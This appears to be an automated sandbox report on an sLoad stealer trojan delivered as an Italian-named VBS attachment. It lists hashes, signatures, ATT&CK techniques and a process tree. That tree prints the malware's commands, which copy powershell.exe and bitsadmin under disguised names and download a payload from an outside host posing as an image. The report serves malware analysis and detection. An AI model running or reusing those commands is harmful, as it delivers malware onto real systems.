sload | a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061

Analysis

max time kernel
33s
max time network
69s
platform
windows10_x64
resource
win10v20201028
submitted
30-11-2020 14:04

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General

Target

Allegato_GRCPTR56P29G273X.vbs
Size

6KB
MD5

117b47e28ec75072e0b194c62747fe96
SHA1

7a6afd4fde5ffed19dee9f039734feace7881b22
SHA256

a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061
SHA512

ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
3988	OsSlfIOin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 884 wrote to memory of 496	884	WScript.exe	73
PID 884 wrote to memory of 496	884	WScript.exe	73
PID 496 wrote to memory of 2508	496	cmd.exe	76
PID 496 wrote to memory of 2508	496	cmd.exe	76
PID 496 wrote to memory of 3712	496	cmd.exe	77
PID 496 wrote to memory of 3712	496	cmd.exe	77
PID 884 wrote to memory of 3988	884	WScript.exe	78
PID 884 wrote to memory of 3988	884	WScript.exe	78
PID 884 wrote to memory of 3988	884	WScript.exe	78

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:496
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe
    3⤵
    PID:2508
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe
    3⤵
    PID:3712
- C:\ProgramData\OsSlfIOin.exe
  "C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg
  2⤵
  - Executes dropped EXE
  PID:3988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/884-2-0x0000023345310000-0x0000023345314000-memory.dmp

Filesize
16KB

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